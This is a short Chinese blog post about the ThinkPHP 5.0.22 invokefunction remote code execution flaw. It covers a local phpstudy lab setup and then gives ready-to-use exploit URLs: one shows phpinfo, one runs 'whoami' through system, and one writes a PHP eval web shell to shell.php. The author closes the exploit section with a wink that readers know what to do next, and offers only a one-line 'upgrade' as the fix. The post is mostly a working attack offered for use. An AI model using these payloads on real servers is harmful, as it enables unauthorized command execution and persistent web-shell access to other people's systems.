0x01 漏洞简介

由于ThinkPHP5 框架控制器名 没有进行足够的安全监测,导致在没有开启强制路由的情况下,可以伪装特定的请求可以直接Getshell(可以控制服务器)

0x02 环境搭建

Phpstudy:  php-5.5.38+Apache

下载存在漏洞版本我下载的版本是thinkphp_5.0.22搭建好以后如图

下载链接:http://www.thinkphp.cn/donate/download/id/1261.html

0x03 漏洞payload

Phpinfo页面:

http://127.0.0.1/thinkphp_5.0.22/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

执行whoami命令:

http://127.0.0.1/thinkphp_5.0.22/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

写shell:

http://127.0.0.1/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_GET[%22snowwolf%22])?^%3E%3Eshell.php

然后就你们就知道该怎么做了吧。

哈哈哈

0X03漏洞修复

建议更新到最新版本

企鹅群:1045867209

博主公众号

本文欢迎转载。 如转载请务必注明出处。 觉得写的不错的可以右侧打赏一手。 群在上边欢迎大家来撩。

最新文章

  1. RDIFramework.NET平台代码生成器V2.8发布-更新于2014-12-31(提供下载)
  2. 基于Node的PetShop,oauth2认证RESTful API
  3. Ubuntu下如何将普通用户提升到root权限
  4. JDK里的设计模式
  5. c++10 Seattle Clang error
  6. 安装完Kali linux 之后 需要配置的一些 常用软件 记录
  7. sql server 数据库正在使用该文件的解决办法
  8. UILabel的使用方法
  9. 计数dp-hdu-4054-Number String
  10. 更改windows系统语言,改为英文
  11. npm err错误
  12. Override/implements methods 如何添加
  13. mysql 修改数据库data存放位置
  14. latex 生成pdf
  15. 201521123088《Java程序设计》第七周学习总结
  16. C语言程序内存布局
  17. BZOJ4321: queue2
  18. mysql学习【第4篇】:MySQL函数和编程
  19. redis安装(linux)
  20. android studio 代码混淆如何忽略第三方jar包

热门文章

  1. 微信小程序开发中的http请求总结
  2. 图数据库 Nebula Graph TTL 特性
  3. cmdb 配置
  4. CMDB_Agent_ssh版本分析
  5. 二进制补码:Why & How
  6. 扯一扯基于4046系IC的锁相电路设计
  7. 【视频+图文】Java经典基础练习题(三):输入3个整数,并将其由小到大输出
  8. Codeforce219C-Color Stripe
  9. 1、Spark Core所处位置和主要职责
  10. 报错:Error updating database. Cause: com.mysql.jdbc.MysqlDataTruncation: Data truncation: Data too long for column 'gender' at row 1